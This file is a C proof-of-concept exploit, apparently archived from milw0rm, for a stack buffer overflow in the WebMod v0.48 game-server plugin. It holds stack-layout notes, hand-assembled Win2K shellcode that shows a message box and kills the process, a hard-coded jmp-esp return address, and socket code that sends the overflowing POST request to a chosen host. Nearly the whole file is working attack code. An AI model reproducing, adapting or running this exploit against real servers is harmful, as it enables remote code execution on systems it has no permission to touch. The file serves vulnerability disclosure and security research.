/*
* WebMod Stack Buffer Overflow
*
* by cybermind (Kevin Masterson)
* cybermind@gmail.com
*
* WebMod v0.48 exploit PoC code
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock.h>
#pragma comment (lib, "ws2_32.lib")
/*
local variables in connectHandle():
char *input; 4
char buf[8192+1]; 8193
int i,j; 8
int connfd; 4
int myid; 4
threaddata_t *tdata; 4
httpquery_t query; 149036
char tmp[1025]; 1025
int rcv; 4
char clbuf[11]; 11
total: 158293
actual (due to padding): 158308
breakdown of types:
typedef struct s_var { 546
char name[33]; 33
char value[513]; 513
} var_s;
typedef struct s_httpquery { 149036
char method[11]; 11
char clientip[16]; 16
char url[257]; 257
char *get; 4
char *post; 4
char *cookies; 4
var_s vars[256]; 139776
char currentmapname[257]; 257
char sendcookies[8192+1]; 8193
char contenttype[257]; 257
char location[257]; 257
} httpquery_t;
*/
//contains data to fill the Content-Length field with
char spambuf[20000];
//code to inject
//this particular code only works on Win2K SP4 (v5.0.4.0)
//and kernel32.dll v5.0.2195.6688
unsigned char code[] = {
// ; push string onto the stack without using 0x00
0xB8, 0x59, 0x5A, 0x32, 0x11, //mov eax, 11325A59h ; "HI!\0" + 11111111h
0x2D, 0x11, 0x11, 0x11, 0x11, //sub eax, 11111111h
0x50, //push eax
0x8B, 0xC4, //mov eax, esp ; eax points to string
0x33, 0xC9, //xor ecx, ecx ; zero
// ; call MessageBox
0x51, //push ecx ; flags (0)
0x50, //push eax ; caption
0x50, //push eax ; text
0x51, //push ecx ; hwnd (0)
0xB8, 0x98, 0x80, 0xE3, 0x77, //mov eax, 77E38098h ; &MessageBox
0xFF, 0xD0, //call eax
// ; call GetCurrentProcessId
0xB8, 0xF4, 0xB8, 0x4E, 0x7C, //mov eax, 7C4EB8F4h ; &GetCurrentProcessId
0xFF, 0xD0, //call eax
0x33, 0xC9, //xor ecx, ecx ; zero
// ; call TerminateProcess
0x51, //push ecx ; return code (0)
0x50, //push eax ; process id
0xB8, 0xC3, 0x8D, 0x51, 0x7C, //mov eax, 7C518DC3h ; &TerminateProcess
0xFF, 0xD0 //call eax
};
//EIP you want to insert, this points to an "FF E4" (jmp esp) in w_mm.dll
//set this to 0xFFFFFFFF to just cause a crash
unsigned int our_eip = 0x67E03C5B;
int main(int argc, char* argv[]) {
WSADATA wsadata;
int sock = 0;
struct hostent* host = NULL;
struct sockaddr_in saddr;
//data to sent initially
char initbuf[] = "POST / HTTP/1.1\nHost: localhost:27015\nContent-Length: ";
//data to send after headers
char endbuf[] = "\n\n";
char* hostname = NULL;
short hostport = 27015;
int i;
unsigned int sent = 0;
//get host/port from command line
if (argc < 2) {
printf("Usage:\t%s <hostname|ip> [port=27015]\n", argv[0]);
return 1;
}
hostname = argv[1];
if (argc >= 3) hostport = atoi(argv[2]);
WSAStartup(MAKEWORD(1,1), &wsadata);
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock <= 0) {
printf("socket() error\n");
return 1;
}
host = gethostbyname(hostname);
if (!host) {
printf("gethostbyname() error\n");
return 1;
}
printf("Resolved \"%s\" to %s\n", hostname, inet_ntoa(*(struct in_addr*)host->h_addr_list[0]));
memset(&saddr, 0, sizeof(struct sockaddr_in));
saddr.sin_family = AF_INET;
saddr.sin_port = htons(hostport);
memcpy(&saddr.sin_addr.s_addr, host->h_addr_list[0], host->h_length);
if (connect(sock, (struct sockaddr*)&saddr, sizeof(struct sockaddr)) < 0) {
printf("connect() error\n");
return 1;
}
//initialize buffers
memset(spambuf, 'a', sizeof(spambuf));
//send initial POST request
sent += send(sock, initbuf, sizeof(initbuf)-1, 0);
//send 7 full spambufs to get 140000 bytes
for (i = 0; i < 7; ++i)
sent += send(sock, spambuf, sizeof(spambuf), 0);
//send partial spambuf to fill remaining data
//(18308, this goes right up to the EIP)
sent += send(sock, spambuf, 18308, 0);
//fill EIP
sent += send(sock, (char*)&our_eip, sizeof(our_eip), 0);
//insert code!
sent += send(sock, (char*)code, sizeof(code), 0);
//send newlines after content-length
sent += send(sock, endbuf, sizeof(endbuf)-1, 0);
printf("%u bytes sent...waiting...\n", sent);
//wait for a while so the socket isn't closed on our end
//before they receive all the data
Sleep(15000);
return 0;
}
// milw0rm.com [2007-03-01]